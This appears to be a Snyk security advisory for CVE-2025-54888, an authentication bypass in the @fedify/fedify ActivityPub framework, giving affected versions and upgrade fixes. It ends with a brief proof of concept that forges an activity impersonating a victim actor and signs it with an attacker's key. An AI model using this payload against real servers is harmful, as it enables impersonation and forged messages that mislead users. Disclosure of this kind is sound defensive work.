Improper Authentication Affecting @fedify/fedify package, versions <1.3.20>=1.4.0-dev.585 <1.4.13>=1.5.0-dev.636 <1.5.5>=1.6.0-dev.754 <1.6.8>=1.7.0-pr.251.885 <1.7.9>=1.8.0-dev.909 <1.8.5
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Improper Authentication vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-JS-FEDIFYFEDIFY-11735306
- published10 Aug 2025
- disclosed9 Aug 2025
- creditFabien O'Carroll
Introduced: 9 Aug 2025
NewCVE-2025-54888 (opens in a new tab)How to fix?
Upgrade @fedify/fedify to version 1.3.20, 1.4.13, 1.5.5, 1.6.8, 1.7.9, 1.8.5 or higher.
Overview
@fedify/fedify is an An ActivityPub server framework
Affected versions of this package are vulnerable to Improper Authentication via the handleInboxInternal function in the federation/handler.ts file. An attacker can impersonate any actor across all instances by sending forged activities signed with their own keys before verification of the signing key's ownership.
PoC
Create an activity claiming to be from any actor:
const maliciousActivity = {
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"actor": "https://victim.example.com/users/alice", // Impersonating victim
"object": {
"type": "Note",
"content": "This is a forged message!"
}
}
Sign the HTTP request with attacker's key (not the victim's):
// Sign with attacker's key: https://attacker.com/users/eve#main-key
const signedRequest = await signRequest(request, attackerPrivateKey, attackerKeyId);
Send to any Fedify inbox - the activity will be processed despite the key mismatch.